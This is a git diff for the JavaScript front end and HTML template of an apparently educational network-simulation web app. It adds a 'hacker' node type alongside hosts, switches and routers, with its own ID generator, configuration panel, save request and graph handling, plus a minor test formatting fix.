differ diff --git a/front/src/static/netfront.js b/front/src/static/netfront.js index 0ab6409a..16dc0f6a 100644 --- a/front/src/static/netfront.js +++ b/front/src/static/netfront.js @@ -41,6 +41,20 @@ $('#network_scheme').droppable({ interface: [], }); } + else if (type === 'hacker'){ + let node_id = HackerUid(); + nodes.push( + { + data: {id: node_id, label: node_id}, + position: {x: CalculateDropOffset(ui.position.left, ui.position.top).x, y: CalculateDropOffset(ui.position.left, ui.position.top).y}, + classes: ['hacker'], + config: { + type: 'hacker', + label: node_id, + }, + interface: [], + }); + } else if (type === 'l2_switch'){ let node_id = l2SwitchUid(); nodes.push( diff --git a/front/src/static/netfront_f.js b/front/src/static/netfront_f.js index 92a808b6..fee65de4 100644 --- a/front/src/static/netfront_f.js +++ b/front/src/static/netfront_f.js @@ -57,6 +57,24 @@ const HostUid = function(){ return "host_" + uid(); } +const HackerUid = function(){ + + let host_name = "hacker_"; + + for (let host_number = 1; host_number < 100; host_number++) { + host = host_name + host_number; + + let t = nodes.find(t => t.data.id === host); + + if (!t) + { + return host; + } + } + + return "hacker_" + uid(); +} + const RouterUid = function(){ let host_name = "router_"; @@ -167,6 +185,10 @@ const ShowTextboxConfig = function(n, shared = 0) { ConfigTextboxContent(textbox_name); } +const IsHostLikeNode = function(nodeType) { + return nodeType === 'host' || nodeType === 'hacker'; +} + const ShowHostConfig = function(n, shared = 0){ // Exit edit mode when switching to different device @@ -217,6 +239,56 @@ const ShowHostConfig = function(n, shared = 0){ } } +const ShowHostHackerConfig = function(n, shared = 0){ + + // Exit edit mode when switching to different device + if (editingJobId && editingDeviceType) { + ExitEditMode(editingDeviceType); + } + + let hostname = n.config.label; + hostname = hostname || n.data.id; + + // Create form + if (shared){ + SharedConfigHostHackerForm(n.data.id); + } else { + ConfigHostHackerForm(n.data.id); + } + + // Add hostname + ConfigHostHackerName(hostname); + + // Add jobs + let host_jobs = []; + + if (jobs){ + host_jobs = jobs.filter(j => j.host_id === n.data.id); + } + + ConfigHostHackerJob(host_jobs, shared); + + // Add interfaces + $.each(n.interface, function(i) { + ActionWithInterface(n, i, ConfigHostHackerInterface) + }); + + if(n.interface.length) + { + let default_gw = ''; + + if ("default_gw" in n.config){ + default_gw = n.config.default_gw; + } + + ConfigHostHackerGateway(default_gw); + } + + if (shared){ + DisableFormInputs(); + } +} + const ShowRouterConfig = function(n, shared = 0){ // Exit edit mode when switching to different device @@ -556,7 +628,7 @@ const AddEdge = function(source_id, target_id){ }); // Add interface If edge connects to host or to router or to server - if (source_node.config.type === 'host' || source_node.config.type === 'router' || source_node.config.type === 'server'){ + if (IsHostLikeNode(source_node.config.type) || source_node.config.type === 'router' || source_node.config.type === 'server'){ let iface_id = InterfaceUid(); source_node.interface.push({ id: iface_id, @@ -565,7 +637,7 @@ const AddEdge = function(source_id, target_id){ }); } - if (target_node.config.type === 'host' || target_node.config.type === 'router' || target_node.config.type === 'server'){ + if (IsHostLikeNode(target_node.config.type) || target_node.config.type === 'router' || target_node.config.type === 'server'){ let iface_id = InterfaceUid(); target_node.interface.push({ id: iface_id, @@ -1308,7 +1380,7 @@ const DrawGraph = function() { } let customDefaults = { - handleNodes: '.host, .l2_switch, .l1_hub, .l3_router, .server', + handleNodes: '.host, .hacker, .l2_switch, .l1_hub, .l3_router, .server', canConnect: (src, tgt) => allowEdges(src, tgt), edgeParams: (src, tgt) => allowEdges(src, tgt) ? {} : null, @@ -1437,6 +1509,8 @@ const DrawGraph = function() { if (n.config.type === 'host'){ ShowHostConfig(n); + } else if (n.config.type === 'hacker'){ + ShowHostHackerConfig(n); } else if (n.config.type === 'l1_hub'){ ShowHubConfig(n); } else if (n.config.type === 'l2_switch'){ @@ -1689,6 +1763,8 @@ const DrawSharedGraph = function(nodes, edges) { if (n.config.type === 'host'){ ShowHostConfig(n, 1); + } else if (n.config.type === 'hacker'){ + ShowHostHackerConfig(n, 1); } else if (n.config.type === 'l1_hub'){ ShowHubConfig(n, 1); } else if (n.config.type === 'l2_switch'){ @@ -1879,6 +1955,8 @@ const UpdateHostConfiguration = function (data, host_id) if (n.config.type === 'host'){ ShowHostConfig(n); + } else if (n.config.type === 'hacker'){ + ShowHostHackerConfig(n); } else { ClearConfigForm('Узел есть, но это не хост'); return; @@ -1912,6 +1990,77 @@ const UpdateHostConfiguration = function (data, host_id) }); } +// Update hacker host configuration +const UpdateHostHackerConfiguration = function (data, host_id) +{ + // Reset network player + SetNetworkPlayerState(-1); + + $.ajax({ + type: 'POST', + url: '/host_hacker/save_config', + data: data, + success: function(data, textStatus, xhr) { + + if (xhr.status === 200) + { + // Exit edit mode on successful save + if (editingJobId && editingDeviceType === 'host_hacker') { + ExitEditMode('host_hacker'); + } + if (!data.warning){ + // Update nodes + nodes = data.nodes; + // Update jobs + jobs = data.jobs; + + // Update graph + DrawGraph(); + } + + // Ok, let's try to update host hacker config form + let n = nodes.find(n => n.data.id === host_id); + + if (!n) { + ClearConfigForm('Нет такого хоста'); + return; + } + + if (n.config.type === 'hacker'){ + ShowHostHackerConfig(n); + } else { + ClearConfigForm('Узел есть, но это не хост-хакер'); + return; + } + + if (data.warning){ + HostWarningMsg(data.warning); + } + + // Update job counter after successful configuration + UpdateJobCounter('config_host_hacker_job_counter', host_id); + } + }, + error: function(xhr) { + console.log('Не удалось обновить конфигурацию хоста-хакера'); + console.log(xhr); + + // Show error message to user + let errorMsg = 'Ошибка при сохранении конфигурации'; + if (xhr.responseJSON && xhr.responseJSON.message) { + errorMsg = xhr.responseJSON.message; + } + HostErrorMsg(errorMsg); + + // Exit edit mode on error to allow retry + if (editingJobId && editingDeviceType === 'host_hacker') { + ExitEditMode('host_hacker'); + } + }, + dataType: 'json' + }); +} + // Delete job from host const DeleteJobFromHost = function (host_id, job_id, network_guid) { @@ -1948,12 +2097,18 @@ const DeleteJobFromHost = function (host_id, job_id, network_guid) if (n.config.type === 'host'){ ShowHostConfig(n); + } else if (n.config.type === 'hacker'){ + ShowHostHackerConfig(n); } else { ClearConfigForm('Узел есть, но это не хост'); } // Update job counter after deletion - UpdateJobCounter('config_host_job_counter', host_id); + if (n.config.type === 'hacker') { + UpdateJobCounter('config_host_hacker_job_counter', host_id); + } else { + UpdateJobCounter('config_host_job_counter', host_id); + } } }, diff --git a/front/src/templates/network.html b/front/src/templates/network.html index daa6f491..278bf697 100644 --- a/front/src/templates/network.html +++ b/front/src/templates/network.html @@ -102,6 +102,13 @@ data-bs-content="Хост - конечное сетевое устройство.">Хост +
+ +
+ Хакер +
+
@@ -184,6 +191,7 @@
+
diff --git a/front/tests/test_job_edit.py b/front/tests/test_job_edit.py index b836fe33..b5dd2d7e 100644 --- a/front/tests/test_job_edit.py +++ b/front/tests/test_job_edit.py @@ -170,7 +170,7 @@ def test_edit_multiple_jobs_in_sequence(self, selenium: MiminetTester): config_host.add_jobs( 1, { - Location.Network.ConfigPanel.Host.Job.PING_FIELD.selector: f"10.20.30.{10+i}" + Location.Network.ConfigPanel.Host.Job.PING_FIELD.selector: f"10.20.30.{10 + i}" }, ) config_host.submit()